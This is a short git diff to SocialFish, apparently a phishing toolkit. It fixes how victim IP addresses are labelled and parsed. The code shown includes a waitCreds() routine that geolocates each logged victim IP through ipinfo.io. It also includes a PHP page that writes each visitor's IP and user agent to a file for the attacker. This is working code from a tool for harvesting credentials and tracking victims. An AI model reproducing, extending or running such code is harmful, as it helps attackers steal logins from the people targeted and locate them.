diff --git a/SocialFish.py b/SocialFish.py index eaafc44..0baa269 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -148,7 +148,7 @@ def waitCreds(): with open('Server/www/ip.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - ip = re.match('victim public ip: (.*)', lines).group(1) + ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) resp = urlopen('https://ipinfo.io/%s/json' % ip).read() ipinfo = json.loads(resp) matchObj = re.match('^(.*?),(.*)$', ipinfo['loc']) @@ -164,7 +164,6 @@ def waitCreds(): creds.close() - def runPEnv(): system('clear') diff --git a/WebPages/ip.php b/WebPages/ip.php index 00312b2..1a8ff7e 100644 --- a/WebPages/ip.php +++ b/WebPages/ip.php @@ -17,7 +17,7 @@ $browser = $_SERVER['HTTP_USER_AGENT']; $file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way. -$victim = "victim public ip: "; +$victim = "Victim Public IP: "; $fp = fopen($file, 'a'); fwrite($fp, $victim);